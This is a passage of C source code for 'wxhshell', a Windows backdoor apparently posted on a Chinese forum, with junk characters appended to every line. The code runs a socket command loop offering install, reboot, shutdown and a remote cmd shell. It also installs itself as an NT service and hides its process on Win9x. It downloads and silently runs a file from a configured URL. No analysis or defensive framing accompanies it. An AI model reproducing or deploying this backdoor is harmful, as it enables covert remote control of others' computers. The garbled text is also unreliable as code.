  // 帮助 Yv^p =-E  
  case '?': { Gz ?2b#7v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <P1rqM9^  
    break; <"?*zx&  
  } qU#$2  
  // 安装 8x9Rm  
  case 'i': { 4IZlUJ?j+c  
    if(Install()) sTkIR5Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;1v=||V  
    else hyfR9~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _?.\Xc  
    break; tw=K&/@^O  
    } x=.tiM{#  
  // 卸载 y0<U u  
  case 'r': { I:i<>kG  
    if(Uninstall()) tRteyNA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NvQ%J+  
    else `m%:rE,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bp#fyG"  
    break; j&WL*XP&5  
    } #4><r.v3  
  // 显示 wxhshell 所在路径 Nsn~@.UuSW  
  case 'p': { b$Ln} <  
    char svExeFile[MAX_PATH]; fD{II+T  
    strcpy(svExeFile,"\n\r"); tjj^O%SV<  
      strcat(svExeFile,ExeFile); ~Q?!W0ZBE  
        send(wsh,svExeFile,strlen(svExeFile),0); CZY7S*fL  
    break; [![ G7H%f  
    } 3y ryeS  
  // 重启 .5.8;/ /  
  case 'b': { 'seyD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rnO0-h-;  
    if(Boot(REBOOT)) +dw!:P &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =NZ[${7mq  
    else { D<t~e$H  
    closesocket(wsh); SauH>  
    ExitThread(0); dv , C6t2  
    } ?g3 ]~;#  
    break; fywvJ$HD]L  
    } k9mi5Oc  
  // 关机 *_1[[~Aw  
  case 'd': { U]1(&MgV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \0ov[T N.>  
    if(Boot(SHUTDOWN)) !,Nwts>m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"3 M[^  
    else { v0#*X5C1'  
    closesocket(wsh); {oUAP1V^  
    ExitThread(0); DK6? E\<  
    } b}@(m$W  
    break; *tc{vtuu~^  
    } >&WhQhZ3kg  
  // 获取shell ,."b3wR[w  
  case 's': { F\:(*1C  
    CmdShell(wsh); C#;@y|Rw  
    closesocket(wsh); R{?vQsLk  
    ExitThread(0); jJBnDxsA  
    break; ?gSSli[  
  } R^%e1 KO]  
  // 退出 &Jy)U  
  case 'x': { [ ]^X`R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FRZs[\I|iT  
    CloseIt(wsh); g$FEEDF  
    break; 5wT>N46UX  
    } Qf xH9_  
  // 离开 d"ZU y!a  
  case 'q': {  )\ZzTS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HI`q1m.  
    closesocket(wsh); dlDki.  
    WSACleanup(); ufrqsv]=  
    exit(1); gg^1b77hT  
    break; 8uch i  
        } _<zfQZai  
  } L9FHgl?  
  } hO#t:WxFI  
q'G,!];qL  
  // 提示信息 \NK-L."[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }$kQs!#  
} hat>kXm2K  
  } `uo, __y  
;AIc?Cg  
  return; .A6lj).:  
} tmJgm5v  
c|AtBgvf  
// shell模块句柄 BFVAw  
int CmdShell(SOCKET sock) ?2#(jZ# 2  
{ 909md|9K3  
STARTUPINFO si; zl%>`k!>  
ZeroMemory(&si,sizeof(si)); l! v!hUb+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FT89*C)oD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * R d#{Io7  
PROCESS_INFORMATION ProcessInfo; 6CCbBA  
char cmdline[]="cmd"; ^"i~ DC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wX,F`e3"/  
  return 0; +f NvNbtA  
} 'dJ/RJ~  
A8DFm{})c  
// 自身启动模式 /i_ @  
int StartFromService(void) rwE%G>Vb  
{ =IjQ40W  
typedef struct z@Hp,|Vy[  
{ [/ M`  
  DWORD ExitStatus; DmqSQA  
  DWORD PebBaseAddress; . +  
  DWORD AffinityMask; PftxqJz  
  DWORD BasePriority; +jP~s  
  ULONG UniqueProcessId; WYrI|^[>  
  ULONG InheritedFromUniqueProcessId; 6#e::GD  
}   PROCESS_BASIC_INFORMATION; YB,t0%vTJw  
Sw[{JB;y,  
PROCNTQSIP NtQueryInformationProcess; ,Hn^z<f   
p'94SXO_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d s:->+o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9GLb"6+PK  
[10zTU`  
  HANDLE             hProcess; en*d/>OVJ  
  PROCESS_BASIC_INFORMATION pbi; > \Sr{p5KR  
0N:XIGFa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]; Wx  
  if(NULL == hInst ) return 0; o<i,*y88  
fc_2D|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XORk!m|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 51B lM%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H1EDMhn/  
"v-(g9(  
  if (!NtQueryInformationProcess) return 0; !j:`7PT\  
GV.A+u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I97yt[,Yy  
  if(!hProcess) return 0; s{bdl[7  
(C;I*cv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HQP}w%8x  
 vZj`|  
  CloseHandle(hProcess); \G |%Zw|  
*QGm/ /b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1O/ g&u  
if(hProcess==NULL) return 0; t.Nb? /  
2&!bfq![  
HMODULE hMod; .L6Zm U  
char procName[255]; .;7> y7$*  
unsigned long cbNeeded; -O!/Jv"{,[  
rN)V[5R#M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {a(&J6$VE  
"&.S&=FlI  
  CloseHandle(hProcess); 9=X)ung9  
LE6.nmvS  
if(strstr(procName,"services")) return 1; // 以服务启动 ^' M>r (t  
q`NXJf=sc  
  return 0; // 注册表启动 {'En\e  
} Q]/Uq~m C  
cD|Htt"  
// 主模块 M<PIeKIEB  
int StartWxhshell(LPSTR lpCmdLine) "KX=ow#z|  
{ IuF_M<d,  
  SOCKET wsl; Nes=;%&]G  
BOOL val=TRUE; _PFnh)o  
  int port=0; 2i{cQ96  
  struct sockaddr_in door; ikD1N  
[BBEEI=|r  
  if(wscfg.ws_autoins) Install(); BQH}6ueZ  
!TM*o+;  
port=atoi(lpCmdLine); =3ioQZ^Vz  
_5 ^I.5Z3  
if(port<=0) port=wscfg.ws_port; %V9ZyQg%*  
<_Z:'~Zp  
  WSADATA data; 7Z ;?b0W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ) rW&c- '  
:r#)z4d5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z!;1i[|x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZK;zm  
  door.sin_family = AF_INET; jHXwOJq %  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'y]\-T  
  door.sin_port = htons(port); FTc.]laO  
za Tb~#c_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @yd4$Mv8%  
closesocket(wsl); ]?O2:X  
return 1; @Jm7^;9/  
} )a@k]#)Skm  
<@wj7\pQ  
  if(listen(wsl,2) == INVALID_SOCKET) { W&(k!6<x  
closesocket(wsl); !-`Cp3gqHr  
return 1; *]hBGr#6  
} 7 >iU1zy  
  Wxhshell(wsl); m7EcnQf  
  WSACleanup(); E%oY7.~-  
 j~j jX  
return 0; -=s(l.?Hm5  
O,aS`u &  
} 2{-ZD ,(u7  
I&n  
// 以NT服务方式启动 X@@8"@/u|*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yRp"jcD  
{ 98=wnWX 6$  
DWORD   status = 0; H]4Hj  
  DWORD   specificError = 0xfffffff; RrU BpqA  
bVP"(H]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rc&%m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _@S`5;4x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xGTP;NT_H  
  serviceStatus.dwWin32ExitCode     = 0; ljl^ GFo  
  serviceStatus.dwServiceSpecificExitCode = 0; `.s({/|[  
  serviceStatus.dwCheckPoint       = 0; z'T) =ycT  
  serviceStatus.dwWaitHint       = 0; Zo1,1O  
v8AS=sY4r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\~x.aH`^  
  if (hServiceStatusHandle==0) return; bR@p<;G|  
]smkTo/  
status = GetLastError(); qC F5~;7  
  if (status!=NO_ERROR) [Nn`l,  
{ O G<,- 7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c'/l,k  
    serviceStatus.dwCheckPoint       = 0; |5Xq0nvCe  
    serviceStatus.dwWaitHint       = 0; U9b?i$  
    serviceStatus.dwWin32ExitCode     = status; .bBdQpF-  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y0eE-5F,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4pw6bK,s2\  
    return; q6YXM  
  } ca+5=+X7  
KYzv$oK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F:x [  
  serviceStatus.dwCheckPoint       = 0; h=;{oY<V)?  
  serviceStatus.dwWaitHint       = 0; w$JvB5O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H":oNpfb  
} 3R+|5Uq8~  
4apL4E"r  
// 处理NT服务事件,比如:启动、停止 D!7`CH+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8M!:N(a  
{ (5]}5W*  
switch(fdwControl) <b,~:9*?  
{ oudxm[/U  
case SERVICE_CONTROL_STOP: D3|I:Xm  
  serviceStatus.dwWin32ExitCode = 0; 9on@Q_7m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~69&6C1Ch  
  serviceStatus.dwCheckPoint   = 0; )1X#*mCxk  
  serviceStatus.dwWaitHint     = 0; P.gb 1$7<  
  { '7O3/GDK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gea\,{E9xA  
  } 13taFV dU  
  return; $ X q!L  
case SERVICE_CONTROL_PAUSE: 6gc>X%d`K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,v"YqD+GC5  
  break; x.-+[l[1 !  
case SERVICE_CONTROL_CONTINUE: B}^w_C2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hh+ 2mkg  
  break; G^ :C+/)  
case SERVICE_CONTROL_INTERROGATE: ;^Dpl'v%\  
  break; gEjdN.  
}; =>-Rnc@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mo^ od<  
} -B +4+&{T  
I_]^ .o1q  
// 标准应用程序主函数 ^0Mt*e{q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]q4rlT.i  
{ 50X([hIr  
YPxM<Gfa8  
// 获取操作系统版本 Yw- G'  
OsIsNt=GetOsVer(); ov, hI>0!D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (!:,+*YY  
=i[\-  
  // 从命令行安装 q.;u?,|E/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 79;<_(Y  
%^jMj2  
  // 下载执行文件 PUUwv_  
if(wscfg.ws_downexe) { wRVUu)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uA< n  
  WinExec(wscfg.ws_filenam,SW_HIDE); ez| )ph7  
} ]9^sa-8  
~sh`r{0  
if(!OsIsNt) { ?32&]iM oW  
// 如果时win9x,隐藏进程并且设置为注册表启动 w(L4A0K[  
HideProc(); E 7{U |\  
StartWxhshell(lpCmdLine); DA\2rLs  
} > ;*b|Ik  
else uLV#SQ=bZN  
  if(StartFromService()) `x*Pof!Io  
  // 以服务方式启动 [TmIVQ!B  
  StartServiceCtrlDispatcher(DispatchTable); c24dSNJg,  
else U>Slc08N  
  // 普通方式启动 g%=z_  
  StartWxhshell(lpCmdLine); iUN Ib  
qv!2MUw\j  
return 0; Vh4X%b$TV  
}
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只看该作者 1 发表于: 2006-10-10
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